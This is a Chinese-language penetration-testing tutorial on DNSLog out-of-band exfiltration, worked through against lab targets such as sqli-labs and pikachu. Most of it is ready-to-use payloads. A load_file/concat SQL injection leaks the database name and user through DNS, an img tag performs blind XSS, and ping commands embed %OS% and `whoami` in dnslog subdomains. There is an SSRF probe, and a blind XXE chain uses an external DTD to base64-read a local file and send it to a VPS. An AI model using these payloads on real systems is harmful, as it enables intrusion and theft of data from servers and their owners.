DNSLog进行无回显渗透测试
一、什么是DNSLog
DNS的全称是Domain Name System(网络名称系统),它作为将域名和IP地址相互映射,使人更方便地访问互联网。当用户输入某一网址如www.baidu.com,网络上的DNS Server会将该域名解析,并找到对应的真实IP如127.0.0.1,使用户可以访问这台服务器上相应的服务。
DNSlog就是存储在DNS Server上的域名信息,它记录着用户对域名www.baidu.com等的访问信息,类似日志文件。
二、DNSLog利用原理
将dnslog平台中的特有字段payload带入目标发起dns请求,通过dns解析将请求后的关键信息组合成新的三级域名带出,在ns服务器的dns日志中显示出来。
DNSlog就是存储在DNS服务器上的域名信息,它记录着用户对域名www.baidu.com等的访问信息,类似于日志文件。
简单来说,就是我有个已注册的域名a.com,我在域名代理商那里将域名设置对应的ip 1.1.1.1 上,这样当我向dns服务器发起a.com的解析请求时,DNSlog中会记录下他给a.com解析,解析值为1.1.1.1,而我们这个解析的记录的值就是我们要利用的地方。
四、DNSLog平台
推荐平台:
http://www.dnslog.cn
http://admin.dnslog.link
http://ceye.io
自己搭建DNSLog平台选择:https://github.com/BugScanTeam/DNSLog
五、渗透测试之DNSLog使用
- SQL注入中的盲注
- XSS盲打
- 无回显的命令执行
- 无回显的SSRF
- 无回显的XXE(Blind XXE)
5.1. SQL注入盲注
在sql注入时为布尔盲注、时间盲注,注入的效率低且线程高容易被waf拦截,又或者是目标站点没有回显
5.1.1. 利用条件
- load_file()
- 读写权限
- Windows(UNC路径)
5.1.2. load_file与secure_file_priv设置
例子:
select load_file('/etc/passwd')
1、必须有权限读取并且文件必须完全可读
and (select count(*) from mysql.user)>0 /*如果结果返回正常,说明具有读写权限.*/ and (select count(*) from mysql.user)>0 /*返回错误,应该是管理员给数据库账户降权了*/
自己搭建环境的时候可以去mysql数据库连接的时候设置下(去my.ini检查下有没有这个参数,没有就手写一个),设置完重启数据库。
set global secure_file_priv='';
这里拿sqli-labs第五关盲注去做这个。
http://localhost/sqli-labs/Less-5/?id=-1' union select 1,2,load_file(concat('//',(select database()),'.6.ijowns.dnslog.cn/a'))--+
可以看到下图,已经回显到了DNSLog上面了(其实照我们这个权限写个webshell都没问题了)。
TIPS:
用户名payload:and (select load_file(concat('//',(select hex(user())),'.6.ijowns.dnslog.cn/a'))) 注意:为什么要对查询的内容进行hex编码? 如果我们要查询的用户名中存在特殊字符:如!@#$%^& 最后在请求DNS服务器时变成:!@#$%^&*.upa46v.dnslog.cn 存在特殊字符的域名无法解析。因此在DNS日志中也找不到我们查询的数据。 所以在我们查询时,当不确定查询结果是否存在特殊字符时,最好先将其hex编码后在带入查询。
5.2. XSS盲打
通过盲打,让触发者浏览器访问预设至的链接地址,如果盲打成功,会在平台上收到如下的链接访问记录:
payload:
<img src=http://dddxss.ijowns.dnslog.cn>
让src请求我们的dnslog平台。这里举个例子:
下面可以看到回显的效果。
5.3. 无回显的命令执行
5.3.1. Windows使用方法
变量 类型 描述 %USERNAME% 返回当前登录的用户的名称。 %USERDOMAIN% 返回包含用户帐户的域的名称。 %OS% 返回操作系统名称。Windows 2000 显示其操作系统为 Windows_NT。 %USERPROFILE% 返回当前用户的配置文件的位置。 %ALLUSERSPROFILE% 返回“所有用户”配置文件的位置。 %APPDATA% 返回默认情况下应用程序存储数据的位置。 %CD% 返回当前目录字符串。 %CMDCMDLINE% 返回用来启动当前的 Cmd.exe 的准确命令行。 %CMDEXTVERSION% 返回当前的“命令处理程序扩展”的版本号。 %COMPUTERNAME% 返回计算机的名称。 %COMSPEC% 返回命令行解释器可执行程序的准确路径。 %DATE% 返回当前日期。 %ERRORLEVEL% 返回上一条命令的错误代码。通常用非零值表示错误。 %HOMEDRIVE% 返回连接到用户主目录的本地工作站驱动器号。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。 %HOMEPATH% 返回用户主目录的完整路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。 %HOMESHARE% 返回用户的共享主目录的网络路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。 %LOGONSERVER% 返回验证当前登录会话的域控制器的名称。 %NUMBER_OF_PROCESSORS% 指定安装在计算机上的处理器的数目。 %PATH% 指定可执行文件的搜索路径。 %PATHEXT% 返回操作系统认为可执行的文件扩展名的列表。 %PROCESSOR_ARCHITECTURE% 返回处理器的芯片体系结构。值:x86 或 IA64(基于 Itanium)。 %PROCESSOR_IDENTFIER% 返回处理器说明。 %PROCESSOR_LEVEL% 返回计算机上安装的处理器的型号。 %PROCESSOR_REVISION% 返回处理器的版本号。 %PROMPT% 返回当前解释程序的命令提示符设置。由 Cmd.exe 生成。 %RANDOM% 返回 0 到 32767 之间的任意十进制数字。由 Cmd.exe 生成。 %SYSTEMDRIVE% 返回 Windows server operating system 根目录的位置。 %TEMP%和%TMP% 返回对当前登录用户可用的应用程序所使用的默认临时目录。有些应用程序需要 TEMP,而其他应用程序则需要 TMP。 %TIME% 返回当前时间。使用与time /t命令相同的格式。由Cmd.exe生成。有关time命令的详细信息,请参阅 Time。 %WINDIR% 返回操作系统目录的位置
ping %OS%.ijowns.dnslog.cn
回显效果:
5.3.2. Linux使用方法
ping -c 1 `whoami`.niddp9.dnslog.cn
回显效果:
5.4. 无回显SSRF
根据自己需要可以加一些字符到域名前面或目录后面,通过dnslog判断是否存在ssrf漏洞。
http://localhost/ssrf.php?url=http://zdutpn.dnslog.cn
回显效果:
5.5. 无回显的XXE(Blind XXE)
pikachu靶场的xxe漏洞,把回显注释了。
测试payload:
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "http://qfi2jk.dnslog.cn">
]>
<x>&f;</x>
回显效果:
5.5.1. XXE漏洞盲打之文件读取
有输出的时候:
payload:
<?xml version="1.0"?> <!DOCTYPE ANY [ <!ENTITY f SYSTEM "file:///e:/java/test.txt"> ]> <x>&f;</x>
无回显:
接下来通过DNSLog进行外带数据。
VPS(IP: 192.168.110.141):
test.dtd内容:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///e:/java/test.txt"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://vps的ip:7896/%file;'>">
这段代码的意思是:实体int为http://vps的ip:7896/
,实体file为file:///e:/java/test.txt
(经过base64编码),
总体的意思就是访问vps的6666端口并携带本机的e:/java/test.txt的文件。
test.dtd内容:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///e:/java/test.txt"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://192.168.110.141:7896/%file;'>">
在这个test.dtd目录下开启web服务
python -m SimpleHTTPServer 6796
访问下web看看
再连接个shell,开启一个7896端口的web服务,一会看看提交过来的数据。
构建Payload进行提交:
<?xml version="1.0"?> <!DOCTYPE ANY [ <!ENTITY % f SYSTEM "http://192.168.110.141:6796/test.dtd">%f;%int;%send; ]>